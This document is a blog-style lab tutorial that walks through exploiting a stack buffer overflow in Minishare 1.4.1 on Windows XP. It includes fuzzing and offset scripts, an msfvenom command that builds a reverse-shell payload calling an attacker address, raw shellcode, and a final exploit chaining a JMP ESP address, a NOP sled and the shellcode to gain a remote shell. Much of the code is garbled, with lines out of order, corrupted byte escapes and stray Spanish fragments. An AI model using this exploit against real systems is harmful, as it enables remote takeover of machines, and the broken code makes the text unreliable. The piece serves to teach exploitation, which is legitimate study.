Stack-Buffer Overflow [Windows x86] (Part II)
On February 20, 2022, I published my first article on how to successfully tackle a Buffer Overflow exploitation, as well as understanding the basics for its performance on GNU/Linux operating systems.
Today I bring you part two of this saga. In this article, I will explain in detail the exploitation of BoF on 32-bit Windows operating systems.
We will carry out our tests using the Minishare software, specifically version 1.4.1. This program acts as a simple HTTP server to easily and efficiently exchange files between multiple users over a network.
This software allows attackers to obtain remote command execution through a malicious HTTP query via GET, POST, or even HEAD. This issue arises due to an incorrect verification of user input.
In today’s lab we will exploit this vulnerability to gain access to the victim machine via a crafted GET request.
Materials needed:
- Windows XP (32-bit) [Victim]
- GNU/Linux (32/64-bit) [Attacker]
- Minishare 1.4.1
- Immunity Debugger
- mona.py
- Python2 / Python3
For this proof of concept, we will not have ASLR (Address Space Layout Randomization) enabled, and likewise, we will not have DEP (Data Execution Prevention) enabled either.
Once we have all the requirements ready, we will start by launching Immunity Debugger and then Minishare on our Windows XP. Then, we will press CTRL + F1 to bind with it.
This is what it looks like (4 windows):
- CPU instructions [1 window]
- Registers and flags [2 window]
- Memory dump [3 window]
- Stack [4 window]
At this point, we can start working. The first step will be to create a “fuzzer” to determine the number of bytes to send before the program is corrupted.
To do this, I have created a small script in Python 3:
#!/usr/bin/python3
import socket
from dataclasses import dataclass
from sys import exit
import signal
from pwn import *
def def_handler(sig,frame): # Function to control the interruption of the script
print("\nExiting...\n")
exit(1)
signal.signal(signal.SIGINT, def_handler)
@dataclass
class Fuzzer:
http_method: str
buff: str
http_header: str
ip: str
def fuzzerhttp(self):
p1 = log.progress("Fuzzer")
while True: # Infinite loop to send mutliples bytes
self.buff = self.buff+"\x41"*100
buff_final = self.http_method + self.buff + self.http_header
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Creating the socket
sock.connect((self.ip, 80))
p1.status(f"Probing with {len(self.buff)} bytes")
sock.send(buff_final.encode()) # Sending X bytes through the socket
sock.recv(1024)
sock.close()
except: # Exception to control the program crash
p1.success(f"Crashed with {len(self.buff)} bytes")
exit()
fuzzer = Fuzzer("GET ", "", " HTTP/1.1\r\n\r\n", "192.168.1.140") # Variable definition
def main():
fuzzer.offset()
if __name__ == '__main__':
main()
This script will send 100 ‘A’ characters represented in hexadecimal as \x41
every certain time interval until the maximum number of bytes is found bytes in which the program gets corrupted.
We can better understand the working of this script if we send only 100 bytes and print the result.
#!/usr/bin/python3
import socket/usr/bin/python3
from dataclasses import dataclass
from sys import exit
import signal
from pwn import *
def def_handler(sig,frame): # Function to control the interruption of the script
print("\nExiting...\n")
exit(1)
signal.signal(signal.SIGINT, def_handler)
@dataclass
class Fuzzer:
http_method: str
buff: str
http_header: str
ip: str
def fuzzerhttp(self):
self.buff = self.buff+"\x41"*100
buff_final = self.http_method + self.buff + self.http_header
print(buff_final)
fuzzer = Fuzzer("GET ", "", " HTTP/1.1\r\n\r\n" , "192.168.1.140") # Defining variables
def main():
fuzzer.offset()
if __name__ == '__main__':
main()
Result:
With the infinite loop, we will be constantly sending 100 bytes until a response is generated. exception and consequently the program becomes corrupted.
Below I attach a video showing the script working:
According to the fuzzer, the program is corrupted by between 1700 and 1800 bytes. However, we need to know the exact number of bytes before overwriting the EIP register. To achieve this, we can generate a prepared string using a utility called mona.py.
Note: 1800 -> Number of Bytes in It
is important to note that it is not advisable to copy the prepared string directly. There is a better way to obtain it and that is through the .txt
file generated by Immunity Debugger in the following path: C: \Program Files\Immunity Inc\Immunity Debugger
.
We open it and copy the ASCII.
Once we have this string, we can calculate the offset exactly.
With the base we have used before, I created this script in Python 3:
#!/usr/bin/python3
import socket
from dataclasses import dataclass
from sys import exit
import signal
from pwn import *
def def_handler(sig,frame):
print("\nSaliendo...\n")
exit(1)
signal.signal(signal.SIGINT, def_handler)
@dataclass
class Offset:
http_method: str
buff: str
http_header: str
ip: str
def offset_calc(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.ip, 80))
self.buff += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9'
buff_final = self.http_method + self.buff + self.http_header
sock.send(buff_final.encode())
sock.recv(1024)
sock.close()
offset = Offset("GET ", "", " HTTP/1.1\r\n\r\n", "192.168.1.140")
def main():
offset.offset_calc()
if __name__ == '__main__':
main()
Este script simplemente se conecta al servidor y envía la cadena preparada que contiene 1800 bytes.
Como es de esperar, cuando se envían esos 1800 bytes,the program becomes corrupted.
At this point, we simply need to take note of the address shown in the EIP register after the program is corrupted.
Now, we can use the mona.py tool to calculate the exact number of bytes needed before overwriting the EIP register.
Excellent! So, we need a total of 1787 bytes before overwriting the EIP register.
At this point, it’s important to keep in mind a key concept. There are certain characters that are considered “bad” or invalid and can cause us problems when representing the shellcode
. These characters are the following:
\x00
: Null byte.\x0A
: Line feed.\x0D
: Carriage return.\xFF
: Format string.
Note: The most common ones are
\x00
and\x0D
.
We can detect them using a mona.py
function called bytearray
that allows us to generate a string with all the possible bytes.
Similarly as before, we can copy the prepared string from the txt file that is generated in C:\Program Files\Immunity Inc\Immunity Debugger.
Now, let’s perform a test using this string. For that purpose, I have created another small Python 3 script that will address this situation. Here is the code:
#!/usr/bin/python3
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.1.140',80))
http_method = "GET "
buff = "A"*1787 + "B"*4 + "C"*400
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x1 0\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x 30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x 50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f \x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f \x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
" xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xc\xcd\xce\xcf "
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\ xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buff = buff+badchars
header_http=" HTTP/1.1\r\n\r\n"
buff_final = method_http+buff+header_http
sock.send(buff_final.encode())
sock.recv(1024)
sock.close()
This script sends a sequence of 1787 characters ‘A’ followed by 4 characters ‘B’, 400 characters ‘C’ and, finally, the string generated by mona.py. Once the script is executed, we can observe that the value of the EIP register corresponds to 4 bytes represented by \x42, which in hex is the character ‘B’.
So far so good. If we observe the dump of the ESP register using the “Follow in Dump” function, we will be able to see the representation of the bytes stored in that memory area.
Note: We are interested because the ESP log all generated bytes are stored by money.py.
Since we can appreciate correlated * no se that some are invalid. To solve this problem, we simply need to remove the bytes that cannot be represented adequately. In this case, the \x0B
byte is not displayed correctly in the ESP register dump, therefore, we must remove it from our script and rerun it to get an accurate representation of the string.
Similarly we shouldn’t see ,\x01f5
delete it, let’s try now.
deleting all the characters invalid found.
The next step consists of looking for a directory that performs a jump (jmp
) to the location of the ESP register, since that is where our shellcode
is located. To perform this search, we can use mona.py
.
Note: It’s important to mention that we need to choose an address for the DLL’s that is in system32.
Great! We’re reaching the end of the process. We need to generate a shellcode that allows us to obtain a shell, we can use the msfvenom
tool from Metasploit Framework.
-/$ msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.139 lport=443 -b "\x00\x0d" -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch:x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1745 bytes
buf = b""
buf += b"\xda\xc8\xd9\x74\x24\xf4\xbd\x9d\x3a\xd4\xc4\x5f"
buf += b"\x29\xc9\xb1\x52\x31\x6f\x17\x83\xc7\x04\x03\xf2"
buf += b"\x29\x36\x31\xf0\xa6\x34\xba\x08\x37\x59\x32\xed"
buf += b"\x06\x59\x20\x66\x38\x69\x22\x2a\xb5\x02\x66\xde"
buf += b"\x4e\x66\xaf\xd1\xe7\xcd\x89\xdc\xf8\x7e\xe9\x7f"
buf += b"\x7b\x7d\x3e\x5f\x42\x4e\x33\x9e\x83\xb3\xbe\xf2"
buf += b"\x5c\xbf\x6d\xe2\xe9\xf5\xad\x89\xa2\x18\xb6\x6e"
buf += b"\x72\x1a\x97\x21\x08\x45\x37\xc0\xdd\xfd\x7e\xda"
buf += b"\x02\x3b\xc8\x51\xf0\xb7\xcb\xb3\xc8\x38\x67\xfa"
buf += b"\xe4\xca\x79\x3b\xc2\x34\x0c\x35\x30\xc8\x17\x82"
buf += b"\x4a\x16\x9d\x10\xec\xdd\x05\xfc\x0c\x31\xd3\x77"
buf += b"\x02\xfe\x97\xdf\x07\x01\x7b\x54\x33\x8a\x7a\xba"
buf += b"\xb5\xc8\x58\x1e\x9d\x8b\xc1\x07\x7b\x7d\xfd\x57"
buf += b"\x24\x22\x5b\x1c\xc9\x37\xd6\x7f\x86\xf4\xdb\x7f"
buf += b"\x56\x93\x6c\x0c\x64\x3c\xc7\x9a\xc4\xb5\xc1\x5d"
buf += b"\x2a\xec\xb6\xf1\xd5\x0f\xc7\xd8\x11\x5b\x97\x72"
buf += b"\xb3\xe4\x7c\x82\x3c\x31\xd2\xd2\x92\xea\x93\x82"
buf += b"\x52\x5b\x7c\xc8\x5c\x84\x9c\xf3\xb6\xad\x37\x0e"
buf += b"\x51\x12\x6f\x11\x2a\xfa\x72\x11\x2d\x40\xfb\xf7"
buf += b"\x47\xa6\xaa\xa0\xff\x5f\xf7\x3a\x61\x9f\x2d\x47"
buf += b"\xa1\x2b\xc2\xb8\x6c\xdc\xaf\xaa\x19\x2c\xfa\x90"
buf += b"\x8c\x33\xd0\xbc\x53\xa1\xbf\x3c\x1d\xda\x17\x6b"
buf += b"\x4a\x2c\x6e\xf9\x66\x17\xd8\x1f\x7b\xc1\x23\x9b"
buf += b"\xa0\x32\xad\x22\x24\x0e\x89\x34\xf0\x8f\x95\x60"
buf += b"\xac\xd9\x43\xde\x0a\xb0\x25\x88\xc4\x6f\xec\x5c"
buf += b"\x90\x43\x2f\x1a\x9d\x89\xd9\xc2\x2c\x64\x9c\xfd"
buf += b"\x81\xe0\x28\x86\xff\x90\xd7\x5d\x44\xa0\x9d\xff"
buf += b"\xed\x29\x78\x6a\xac\x37\x7b\x41\xf3\x41\xf8\x63"
buf += b"\x8c\xb5\xe0\x06\x89\xf2\xa6\xfb\xe3\x6b\x43\xfb"
buf += b"\x50\x8b\x46"
Note: It is important to include the badchars found above to avoid them in the
shellcode
Perfect, now that we have the shellcode, the next step is to create the exploit
that will use that shellcode to exploit the vulnerability and obtain a remote shell.
#!/usr/bin/python3
from pwn import *
from sys import exit
from dataclasses import dataclass
import socket
import signal
def def_handler(sig,frame):
print("\nSaliendo...\n")
exit(1)
signal.signal(signal.SIGINT, def_handler)
@dataclass
class Exploit():
ip: str
port: int
http_header: str
http_method: str
def shellcode_req(self):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.ip, self.port))
buf += b"\xdf\x1a\xfb\xcd\x94\xf3\xfe\xcd\xab\xb8\x76\x2b"
buf += b"\xd1\x43\xc8\x34\xde\xbc\xe8\x37\x34 \xd5\x83\xc2"
buf += b"\x31\xed\xc8\x3e\xbd\x38\x5e\x6e\x11\x93\x1f\xde"
buf += b"\xab\x97\x22\x8d\x52\x18\x53\x84\x90 \x4c\x03\xbe"
buf += b"\xd5\x6b\xdf\x48\xe7\x34\x4b\xc6\x4b\xbc\x55\x11"
buf += b"\xa5\xda\xd7\xd8\x48\x0e\x6a\x83\x04 \xe3\x47\x3b"
buf += b"\x32\xd0\x2c\xd2\x1f\x82\x4d\x43\xfa\x65\x71\x93"
buf += b"\x81\xf6\x23\x1b\x86\x09\xe7\x10\xb2 \x82\x06\xf6"
buf += b"\xcb\x1e\x01\x54\x6b\xd4\xb1\xb0\x8d\x39\x27\x33"
buf += b"\x66\xc2\x05\x7f\x41\x3d\x70\x89\xb1 \xc0\x83\x4e"
buf += b"\x83\x30\x44\x1d\x77\xce\x57\xf7\x49\x2f\xfb\x36"
buf += b"\xf1\x22\x03\x7d\x89\x7c\x83\x7c\x5e \xf5\x8a\x66"
buf += b"\xdd\xb7\x99\xbe\x6a\x8d\x21\x35\x20\x03\x22\xaa"
buf += b"\xf9\x85\xb2\x1b\xc3\x45\xc7\x5a\x04 \xbb\x2a\x0e"
buf += b"\xcf\x6f\x3b\x95\x78\xc5\x1d\x98\x79\x76\x5d\xbb"
buf += b"\x84\x61\xb4\x22\xb7\x51\xbe\x66\x34 \x19\x92\x92"
buf += b"\xaa\x3e\xa5\x34\x24\x3c\x46\xc4\xb5\x21\xce\x21"
buf += b"\x2b\xc9\xb1\ x52\x83\xeb\xfc\x31\x7b\x13\x03\x36"
buf += b"\xda\xda\xd9\x74\x24\xf4\x5b\xbf\x4d\xb9\xdc\x50"
buf = b""
sock.send(buff._final)
buff_final = self.http_method.encode() + buff + self.http_header.encode()
buff = b"A" * 1787 + p32(0x7E6B30EB) + b"\x90" * 20 + buf
buf += b"\xd1\x83\xca"
buf += b"\x0b\xad\x6c\x5a\x0e\x9\x2a\xb7\x62 \x62\xdf\xb7"
buf += b"\x6c\x22\xcc\x2e\x2d\x2f\x2f\x85\x72\x56\x6c\x2f"
buf += b"\x1f\xf9\xa4\x3a\x7d\x99\x4b\x91\xc5 \xa9\x01\xbb"
buf += b"\x1e\x54\xa3\xde\x1e\xb1\x55\x3e\xae\x6c\x20\x41"
buf += b"\x2a\xce\xf7\x12\x8d\xb8\xb9\xcc\x47 \x16\x10\x98"
buf += b"\x27\x2b\x39\xde\xaa\x17\x1d\xf0\x72\x97\x19\xa4"
buf += b"\xcc\x14\xd2\x25\xe1\x0f\x4c\x5b\xf8 \xd6\xb7\xdf"
buf += b"\x0e\x2a\x44\xf8\xcc\xb9\x03\xf8\x9b\xa1\x9b\xaf"
buf += b"\x20\x13\x56\xfc\xf\xd4\x13\x98 \x14\x6e\x4c"
buf += b"\xc1\xae\xde\x4\x7e\x56\x7b\x7e\x1e\x97\x51\xfb"
sock.close()
except ConnectionError:
print("\nConnection socket failed\n")
exit(1)
exploit = Exploit("192.168.1.140", 80, " HTTP/1.1\r\n\r\n", "GET ")
def main():
exploit.shellcode_req()
if __name__ == "__main__":
main()
This exploit will follow the following flow.
AAAAAAAAAAA.... → \xeb\x30\x6b\7e → \x90\x90\x90\x90... → \xda\xda\xd9\x74\x24\xf4\x5b\x...
↥ ↥ ↥ ↥
\x41 jmp esp (EIP) NOPS shellcode
- We start with a sequence of characters “A” that will fill the buffer.
- Next, we have a
jmp esp
instruction represented by the bytes\xeb\x30\x6b\x7e
. This instruction will jump to the memory address where the ESP register is located, allowing us to redirect the program execution to our shellcode. - Next, we use bytes \x90\x90\x90\x90 to represent a series of NOP (No Operation) instructions. These instructions do nothing and are used to create a space between the jump and the shellcode, to make sure that the execution reaches the shellcode correctly.
- Finally, we have the shellcode represented by the bytes \xda\xda\xd9\x74\x24\xf4\x5b\x…. The shellcode is the code that will execute our desired action, in this case, obtaining a remote shell.
Below I have attached a video showing how the exploit works.
Leave a comment